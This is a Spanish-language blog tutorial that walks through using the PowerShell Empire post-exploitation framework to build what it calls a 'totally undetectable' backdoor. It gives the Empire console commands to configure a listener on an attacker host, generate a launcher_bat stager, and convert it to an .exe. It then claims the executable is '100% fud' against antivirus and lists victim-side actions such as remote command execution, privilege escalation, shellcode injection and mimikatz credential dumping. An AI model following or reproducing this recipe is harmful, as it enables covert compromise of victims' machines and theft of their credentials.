Powershell Empire : La navaja suiza de la post-explotación

Powershell empire es un framework de post explotación que permite “ejecutar agentes powershell sin powershell.exe” .Tiene un amplio arsenal de módulos propios de la post-explotación , como mimikatz , Powerdump , NetRipper , métodos de elevación de privilegios y persistencia .

Los cyber-criminales están optando cada ves más por el uso de powershell como vector de ataque . Después de una investigación realizada en una empresa , el equipo de FireEyes localizó un ejecutable Windows que descargaba un script powershell desde una web rusa aparentemente “legítima ” . El script se ejecutaba de forma silenciosa e invisible para el usuario . Copiaba archivos , recolectaba metadatos del sistema comprometido y los enviaba por email . En muchos casos FireEyes ha subrayado que el vector de entrada de dichos scripts eran los macros integrados en documentos enviados por email.

Hoy trataremos de generar un backdoor totalmente indetectable gracias a powershell empire .

En su página oficial podemos encontrar toda la información necesaria para proceder a su instalación. Una vez instalado lo ejecutamos con el comando “./empire” .

s1

En el menú principal podemos ver el numero de módulos que no trae la versión que estamos utilizando , de conexiones en espera (listeners) y de conexiones establecidas (agents) .

SI ejecutamos el comando “help” , obtendremos la lista de comandos que podemos utilizar en cada sección y sus respectivas descripciones .

powershellempire

Lo primero que haremos es configurar un “Listener” .

> listerners 
> info

powershellempire2

Aquí , lo único que vamos a configurar es el “Host” . Ejecutamos :

set Host http://tuip:puerto . Ejemplo : set Host http://192.168.1.104:8080

Ejecutamos el comando “execute” , para que se guarde nuestra configuración . Al ejecutar “list” , podremos ver que ya tenemos nuestro “listener” en regla.

poweshellempire

Ahora vamos a generar el código (Stager) que nos permitirá establecer una conexión con el sistema victima . Existe varios , pero en esta ocasión utilizaremos “launcher_bat” , que nos permitirá generar un archivo .bat que ejecutará un script powershell en el sistema victima .

> usestager launcher_bat 
> info
> set Listener "el nombre de nuestro listener" (en este caso "test")
> set OutFile /xxx/yyy.bat
> execute

powershellempire3

Una vez nuestro archivo .bat creado , vamos a convertirlo a .exe .

Para eso existe varias herramientas pero yo utilizaré “Bat To Exe Converter”

b2e

Ahora vamos a analizar .exe generado .

100fud

Bingo , 100% fud .

Al ejecutarlo , estableceremos una conexión con nuestro “listener” .

agent

Para ver nuestra lista de agentes , ejecutamos el comando “agents” , e  “interact” para interactuar con uno de ellos .

ag

A partir de aqui podemos realizar varias acciones , como ejecutar comandos de forma remota , hacer capturas de pantalla , elevar privilegios , subir/descargar archivos , inyectar un shellcode , utilizar mimikatz , u otros módulos .

help

Demo


¿Te gustó este artículo ? Deja un comentario y compártelo 🙂

 

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

You may use these HTML tags and attributes:

<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> 

7 + diez =

*